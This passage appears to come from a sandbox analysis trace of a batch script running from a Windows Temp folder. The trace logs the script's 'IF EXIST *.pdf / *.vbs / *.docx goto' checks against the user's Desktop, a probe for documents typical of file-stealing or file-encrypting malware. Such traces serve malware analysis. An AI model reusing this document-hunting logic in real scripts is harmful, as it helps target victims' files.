(_OSFileHandle=0x74, _Flags=8) returned 3 [0037.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.347] SetFilePointer (in: hFile=0x74, lDistanceToMove=3724, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.347] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe8c [0037.348] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17a1, lpOverlapped=0x0) returned 1 [0037.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0037.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.348] GetFileType (hFile=0x74) returned 0x1 [0037.348] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.348] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.348] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.348] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.348] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.348] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.348] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.348] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.348] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.348] GetProcessHeap () returned 0x4e0000 [0037.349] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.349] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.349] GetProcessHeap () returned 0x4e0000 [0037.349] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.349] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.349] GetProcessHeap () returned 0x4e0000 [0037.349] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.349] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.349] _tell (_FileHandle=3) returned 3749 [0037.350] _close (_FileHandle=3) returned 0 [0037.350] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.350] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.350] GetLastError () returned 0x2 [0037.350] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.350] GetLastError () returned 0x6 [0037.350] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.350] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.350] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.350] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.350] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.350] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.351] SetConsoleInputExeNameW () returned 0x1 [0037.351] GetConsoleOutputCP () returned 0x1b5 [0037.351] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.351] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.351] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.351] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.351] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.351] SetFilePointer (in: hFile=0x74, lDistanceToMove=3749, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.351] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.351] GetProcessHeap () returned 0x4e0000 [0037.352] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.352] GetProcessHeap () returned 0x4e0000 [0037.352] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.352] GetProcessHeap () returned 0x4e0000 [0037.352] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.352] GetProcessHeap () returned 0x4e0000 [0037.352] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.352] GetProcessHeap () returned 0x4e0000 [0037.352] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xea5 [0037.352] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1788, lpOverlapped=0x0) returned 1 [0037.352] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0037.352] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.353] GetFileType (hFile=0x74) returned 0x1 [0037.353] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.353] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.353] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.353] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.353] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.353] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.353] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.353] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.353] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.353] GetProcessHeap () returned 0x4e0000 [0037.354] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.354] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.354] _tell (_FileHandle=3) returned 3774 [0037.354] _close (_FileHandle=3) returned 0 [0037.354] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0037.354] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.355] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.355] GetLastError () returned 0x2 [0037.355] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.355] GetLastError () returned 0x6 [0037.355] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.355] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.355] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.355] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.355] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.355] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.355] SetConsoleInputExeNameW () returned 0x1 [0037.355] GetConsoleOutputCP () returned 0x1b5 [0037.356] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.356] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.356] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.356] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.356] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.356] SetFilePointer (in: hFile=0x74, lDistanceToMove=3774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.356] GetProcessHeap () returned 0x4e0000 [0037.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.357] GetProcessHeap () returned 0x4e0000 [0037.357] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0037.357] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176f, lpOverlapped=0x0) returned 1 [0037.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0037.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.357] GetFileType (hFile=0x74) returned 0x1 [0037.357] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.357] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.357] GetProcessHeap () returned 0x4e0000 [0037.357] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.357] GetProcessHeap () returned 0x4e0000 [0037.357] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.357] _tell (_FileHandle=3) returned 3776 [0037.357] _close (_FileHandle=3) returned 0 [0037.357] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.357] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0037.358] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176d, lpOverlapped=0x0) returned 1 [0037.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.358] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0037.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.358] GetFileType (hFile=0x74) returned 0x1 [0037.358] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.358] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.358] GetProcessHeap () returned 0x4e0000 [0037.358] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.358] GetProcessHeap () returned 0x4e0000 [0037.358] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.358] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.358] GetProcessHeap () returned 0x4e0000 [0037.358] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.358] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.358] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.358] GetProcessHeap () returned 0x4e0000 [0037.358] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.358] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.359] GetProcessHeap () returned 0x4e0000 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.359] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.359] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4b38 [0037.359] GetProcessHeap () returned 0x4e0000 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4b58 [0037.359] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x18) returned 0x4f4b58 [0037.359] GetProcessHeap () returned 0x4e0000 [0037.359] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x18 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.359] GetProcessHeap () returned 0x4e0000 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.359] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4bf8 [0037.360] _tell (_FileHandle=3) returned 3803 [0037.360] _close (_FileHandle=3) returned 0 [0037.360] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0037.360] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.360] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.360] GetLastError () returned 0x2 [0037.360] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.360] GetLastError () returned 0x6 [0037.360] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.360] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.360] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.360] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.361] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.361] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.361] SetConsoleInputExeNameW () returned 0x1 [0037.361] GetConsoleOutputCP () returned 0x1b5 [0037.361] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.361] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.361] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.361] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.361] GetProcessHeap () returned 0x4e0000 [0037.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0037.362] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1752, lpOverlapped=0x0) returned 1 [0037.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0037.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.362] GetFileType (hFile=0x74) returned 0x1 [0037.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0037.362] GetProcessHeap () returned 0x4e0000 [0037.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.363] GetProcessHeap () returned 0x4e0000 [0037.363] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.363] _tell (_FileHandle=3) returned 3805 [0037.363] _close (_FileHandle=3) returned 0 [0037.363] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 